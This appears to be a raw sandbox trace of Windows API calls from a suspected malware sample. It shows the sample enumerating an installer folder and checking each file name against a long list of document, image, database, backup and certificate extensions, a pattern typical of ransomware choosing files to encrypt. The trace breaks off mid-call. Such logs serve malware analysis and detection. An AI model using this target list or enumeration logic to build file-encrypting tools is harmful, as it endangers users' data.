[0083.788] lstrlenW (lpString=".onepkg") returned 7 [0083.788] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0083.788] lstrlenW (lpString=".onetoc2") returned 8 [0083.788] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0083.788] lstrlenW (lpString=".opt") returned 4 [0083.788] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0083.788] lstrlenW (lpString=".oqy") returned 4 [0083.788] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0083.788] lstrlenW (lpString=".orf") returned 4 [0083.788] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0083.788] lstrlenW (lpString=".p12") returned 4 [0083.788] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0083.788] lstrlenW (lpString=".p7b") returned 4 [0083.788] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0083.788] lstrlenW (lpString=".p7c") returned 4 [0083.788] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0083.788] lstrlenW (lpString=".pam") returned 4 [0083.788] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0083.788] lstrlenW (lpString=".pbm") returned 4 [0083.789] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0083.789] lstrlenW (lpString=".pct") returned 4 [0083.789] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0083.789] lstrlenW (lpString=".pcx") returned 4 [0083.789] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0083.789] lstrlenW (lpString=".pdd") returned 4 [0083.789] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0083.789] lstrlenW (lpString=".pdf") returned 4 [0083.789] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0083.789] lstrlenW (lpString=".pdp") returned 4 [0083.789] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0083.789] lstrlenW (lpString=".pef") returned 4 [0083.789] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0083.789] lstrlenW (lpString=".pem") returned 4 [0083.789] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0083.789] lstrlenW (lpString=".pff") returned 4 [0083.789] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0083.789] lstrlenW (lpString=".pfm") returned 4 [0083.789] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0083.789] lstrlenW (lpString=".pfx") returned 4 [0083.789] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0083.789] lstrlenW (lpString=".pgm") returned 4 [0083.789] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0083.789] lstrlenW (lpString=".php") returned 4 [0083.789] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0083.789] lstrlenW (lpString=".php3") returned 5 [0083.789] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0083.789] lstrlenW (lpString=".php4") returned 5 [0083.790] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0083.790] lstrlenW (lpString=".php5") returned 5 [0083.790] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0083.790] lstrlenW (lpString=".phtml") returned 6 [0083.790] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0083.790] lstrlenW (lpString=".pict") returned 5 [0083.790] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0083.790] lstrlenW (lpString=".pl") returned 3 [0083.790] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0083.790] lstrlenW (lpString=".pls") returned 4 [0083.790] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0083.790] lstrlenW (lpString=".pm") returned 3 [0083.790] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0083.790] lstrlenW (lpString=".png") returned 4 [0083.790] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0083.790] lstrlenW (lpString=".pnm") returned 4 [0083.790] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0083.790] lstrlenW (lpString=".pot") returned 4 [0083.790] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0083.790] lstrlenW (lpString=".potm") returned 5 [0083.790] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0083.790] lstrlenW (lpString=".potx") returned 5 [0083.790] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0083.790] lstrlenW (lpString=".ppa") returned 4 [0083.790] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0083.790] lstrlenW (lpString=".ppam") returned 5 [0083.790] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0083.791] lstrlenW (lpString=".ppm") returned 4 [0083.791] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0083.791] lstrlenW (lpString=".pps") returned 4 [0083.791] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0083.791] lstrlenW (lpString=".ppsm") returned 5 [0083.791] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0083.791] lstrlenW (lpString=".ppt") returned 4 [0083.791] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0083.791] lstrlenW (lpString=".pptm") returned 5 [0083.791] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0083.791] lstrlenW (lpString=".pptx") returned 5 [0083.791] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0083.791] lstrlenW (lpString=".prn") returned 4 [0083.791] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0083.791] lstrlenW (lpString=".ps") returned 3 [0083.791] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0083.791] lstrlenW (lpString=".psb") returned 4 [0083.791] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0083.791] lstrlenW (lpString=".psd") returned 4 [0083.791] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0083.791] lstrlenW (lpString=".pst") returned 4 [0083.791] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0083.791] lstrlenW (lpString=".ptx") returned 4 [0083.791] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0083.791] lstrlenW (lpString=".pub") returned 4 [0083.791] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0083.791] lstrlenW (lpString=".pwm") returned 4 [0083.792] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0083.792] lstrlenW (lpString=".pxr") returned 4 [0083.792] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0083.792] lstrlenW (lpString=".py") returned 3 [0083.792] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0083.792] lstrlenW (lpString=".qt") returned 3 [0083.792] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0083.792] lstrlenW (lpString=".r3d") returned 4 [0083.792] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0083.792] FindNextFileW (in: hFindFile=0x42603d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0083.792] FindNextFileW (in: hFindFile=0x42603d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0083.792] FindNextFileW (in: hFindFile=0x42603d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0083.792] FindClose (in: hFindFile=0x42603d0 | out: hFindFile=0x42603d0) returned 1 [0083.793] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0083.793] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0083.793] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0083.793] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038") returned 26 [0083.793] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260790 [0083.793] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.793] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0083.793] lstrlenW (lpString="eula.rtf") returned 8 [0083.793] lstrlenW (lpString=".1cd") returned 4 [0083.793] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0083.793] lstrlenW (lpString=".3ds") returned 4 [0083.793] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0083.793] lstrlenW (lpString=".3fr") returned 4 [0083.793] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0083.794] lstrlenW (lpString=".3g2") returned 4 [0083.794] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0083.794] lstrlenW (lpString=".3gp") returned 4 [0083.794] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0083.794] lstrlenW (lpString=".7z") returned 3 [0083.794] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0083.794] lstrlenW (lpString=".accda") returned 6 [0083.794] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0083.794] lstrlenW (lpString=".accdb") returned 6 [0083.794] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0083.794] lstrlenW (lpString=".accdc") returned 6 [0083.794] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0083.794] lstrlenW (lpString=".accde") returned 6 [0083.794] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0084.122] lstrlenW (lpString=".accdt") returned 6 [0084.122] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0084.122] lstrlenW (lpString=".accdw") returned 6 [0084.122] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0084.122] lstrlenW (lpString=".adb") returned 4 [0084.122] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0084.122] lstrlenW (lpString=".adp") returned 4 [0084.122] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0084.122] lstrlenW (lpString=".ai") returned 3 [0084.122] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0084.122] lstrlenW (lpString=".ai3") returned 4 [0084.122] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0084.122] lstrlenW (lpString=".ai4") returned 4 [0084.122] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0084.122] lstrlenW (lpString=".ai5") returned 4 [0084.122] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0084.122] lstrlenW (lpString=".ai6") returned 4 [0084.123] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0084.123] lstrlenW (lpString=".ai7") returned 4 [0084.123] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0084.123] lstrlenW (lpString=".ai8") returned 4 [0084.123] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0084.123] lstrlenW (lpString=".anim") returned 5 [0084.123] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0084.123] lstrlenW (lpString=".arw") returned 4 [0084.123] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0084.123] lstrlenW (lpString=".as") returned 3 [0084.123] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0084.123] lstrlenW (lpString=".asa") returned 4 [0084.123] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0084.123] lstrlenW (lpString=".asc") returned 4 [0084.123] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0084.123] lstrlenW (lpString=".ascx") returned 5 [0084.123] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0084.123] lstrlenW (lpString=".asm") returned 4 [0084.123] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0084.123] lstrlenW (lpString=".asmx") returned 5 [0084.123] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0084.123] lstrlenW (lpString=".asp") returned 4 [0084.123] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0084.123] lstrlenW (lpString=".aspx") returned 5 [0084.123] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0084.123] lstrlenW (lpString=".asr") returned 4 [0084.123] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0084.124] lstrlenW (lpString=".asx") returned 4 [0084.124] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0084.124] lstrlenW (lpString=".avi") returned 4 [0084.124] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0084.124] lstrlenW (lpString=".avs") returned 4 [0084.124] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0084.124] lstrlenW (lpString=".backup") returned 7 [0084.124] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0084.124] lstrlenW (lpString=".bak") returned 4 [0084.124] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0084.124] lstrlenW (lpString=".bay") returned 4 [0084.124] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0084.124] lstrlenW (lpString=".bd") returned 3 [0084.124] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0084.124] lstrlenW (lpString=".bin") returned 4 [0084.124] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0084.124] lstrlenW (lpString=".bmp") returned 4 [0084.124] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0084.124] lstrlenW (lpString=".bz2") returned 4 [0084.124] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.124] lstrlenW (lpString=".c") returned 2 [0084.124] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0084.124] lstrlenW (lpString=".cdr") returned 4 [0084.124] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0084.124] lstrlenW (lpString=".cer") returned 4 [0084.124] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0084.125] lstrlenW (lpString=".cf") returned 3 [0084.125] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0084.125] lstrlenW (lpString=".cfc") returned 4 [0084.125] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0084.125] lstrlenW (lpString=".cfm") returned 4 [0084.125] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0084.125] lstrlenW (lpString=".cfml") returned 5 [0084.125] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0084.125] lstrlenW (lpString=".cfu") returned 4 [0084.125] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0084.125] lstrlenW (lpString=".chm") returned 4 [0084.125] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0084.125] lstrlenW (lpString=".cin") returned 4 [0084.125] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0084.125] lstrlenW (lpString=".class") returned 6 [0084.125] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0084.125] lstrlenW (lpString=".clx") returned 4 [0084.125] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0084.125] lstrlenW (lpString=".config") returned 7 [0084.125] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0084.125] lstrlenW (lpString=".cpp") returned 4 [0084.125] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0084.125] lstrlenW (lpString=".cr2") returned 4 [0084.125] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0084.125] lstrlenW (lpString=".crt") returned 4 [0084.125] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0084.125] lstrlenW (lpString=".crw") returned 4 [0084.126] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0084.126] lstrlenW (lpString=".cs") returned 3 [0084.126] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0084.126] lstrlenW (lpString=".css") returned 4 [0084.126] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0084.126] lstrlenW (lpString=".csv") returned 4 [0084.126] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0084.126] lstrlenW (lpString=".cub") returned 4 [0084.126] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0084.126] lstrlenW (lpString=".dae") returned 4 [0084.126] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0084.126] lstrlenW (lpString=".dat") returned 4 [0084.126] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0084.126] lstrlenW (lpString=".db") returned 3 [0084.126] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0084.126] lstrlenW (lpString=".dbf") returned 4 [0084.126] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.126] lstrlenW (lpString=".dbx") returned 4 [0084.126] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0084.126] lstrlenW (lpString=".dc3") returned 4 [0084.126] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0084.126] lstrlenW (lpString=".dcm") returned 4 [0084.126] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0084.126] lstrlenW (lpString=".dcr") returned 4 [0084.126] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0084.126] lstrlenW (lpString=".der") returned 4 [0084.127] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0084.127] lstrlenW (lpString=".dib") returned 4 [0084.127] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0084.127] lstrlenW (lpString=".dic") returned 4 [0084.127] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0084.127] lstrlenW (lpString=".dif") returned 4 [0084.127] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0084.127] lstrlenW (lpString=".divx") returned 5 [0084.127] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0084.127] lstrlenW (lpString=".djvu") returned 5 [0084.127] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0084.127] lstrlenW (lpString=".dng") returned 4 [0084.127] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0084.127] lstrlenW (lpString=".doc") returned 4 [0084.127] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.127] lstrlenW (lpString=".docm") returned 5 [0084.127] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0084.127] lstrlenW (lpString=".docx") returned 5 [0084.127] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.127] lstrlenW (lpString=".dot") returned 4 [0084.127] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0084.127] lstrlenW (lpString=".dotm") returned 5 [0084.127] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0084.127] lstrlenW (lpString=".dotx") returned 5 [0084.127] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0084.127] lstrlenW (lpString=".dpx") returned 4 [0084.127] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0084.128] lstrlenW (lpString=".dqy") returned 4 [0084.128] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0084.128] lstrlenW (lpString=".dsn") returned 4 [0084.128] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0084.128] lstrlenW (lpString=".dt") returned 3 [0084.128] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0084.128] lstrlenW (lpString=".dtd") returned 4 [0084.128] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0084.128] lstrlenW (lpString=".dwg") returned 4 [0084.128] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0084.128] lstrlenW (lpString=".dwt") returned 4 [0084.128] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0084.128] lstrlenW (lpString=".dx") returned 3 [0084.128] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0084.128] lstrlenW (lpString=".dxf") returned 4 [0084.128] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0084.128] lstrlenW (lpString=".edml") returned 5 [0084.128] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0084.128] lstrlenW (lpString=".efd") returned 4 [0084.128] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0084.128] lstrlenW (lpString=".elf") returned 4 [0084.128] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0084.128] lstrlenW (lpString=".emf") returned 4 [0084.128] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0084.128] lstrlenW (lpString=".emz") returned 4 [0084.128] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0084.129] lstrlenW (lpString=".epf") returned 4 [0084.129] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0084.129] lstrlenW (lpString=".eps") returned 4 [0084.129] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0084.129] lstrlenW (lpString=".epsf") returned 5 [0084.129] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0084.129] lstrlenW (lpString=".epsp") returned 5 [0084.129] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0084.129] lstrlenW (lpString=".erf") returned 4 [0084.129] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0084.129] lstrlenW (lpString=".exr") returned 4 [0084.129] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0084.129] lstrlenW (lpString=".f4v") returned 4 [0084.129] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0084.129] lstrlenW (lpString=".fido") returned 5 [0084.129] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0084.129] lstrlenW (lpString=".flm") returned 4 [0084.129] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0084.129] lstrlenW (lpString=".flv") returned 4 [0084.130] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0084.130] lstrlenW (lpString=".frm") returned 4 [0084.130] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0084.130] lstrlenW (lpString=".fxg") returned 4 [0084.130] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0084.130] lstrlenW (lpString=".geo") returned 4 [0084.130] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0084.130] lstrlenW (lpString=".gif") returned 4 [0084.130] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0084.130] lstrlenW (lpString=".grs") returned 4 [0084.130] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0084.130] lstrlenW (lpString=".gz") returned 3 [0084.130] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0084.130] lstrlenW (lpString=".h") returned 2 [0084.130] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0084.130] lstrlenW (lpString=".hdr") returned 4 [0084.130] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0084.130] lstrlenW (lpString=".hpp") returned 4 [0084.130] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0084.130] lstrlenW (lpString=".hta") returned 4 [0084.130] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0084.130] lstrlenW (lpString=".htc") returned 4 [0084.130] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0084.130] lstrlenW (lpString=".htm") returned 4 [0084.130] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0084.130] lstrlenW (lpString=".html") returned 5 [0084.131] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0084.131] lstrlenW (lpString=".icb") returned 4 [0084.131] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0084.131] lstrlenW (lpString=".ics") returned 4 [0084.131] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0084.131] lstrlenW (lpString=".iff") returned 4 [0084.131] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0084.131] lstrlenW (lpString=".inc") returned 4 [0084.131] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0084.131] lstrlenW (lpString=".indd") returned 5 [0084.131] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0084.131] lstrlenW (lpString=".ini") returned 4 [0084.131] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0084.131] lstrlenW (lpString=".iqy") returned 4 [0084.131] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0084.131] lstrlenW (lpString=".j2c") returned 4 [0084.131] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0084.131] lstrlenW (lpString=".j2k") returned 4 [0084.131] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0084.131] lstrlenW (lpString=".java") returned 5 [0084.131] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0084.131] lstrlenW (lpString=".jp2") returned 4 [0084.131] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0084.131] lstrlenW (lpString=".jpc") returned 4 [0084.131] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0084.131] lstrlenW (lpString=".jpe") returned 4 [0084.131] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0084.131] lstrlenW (lpString=".jpeg") returned 5 [0084.131] lstrcmpiW 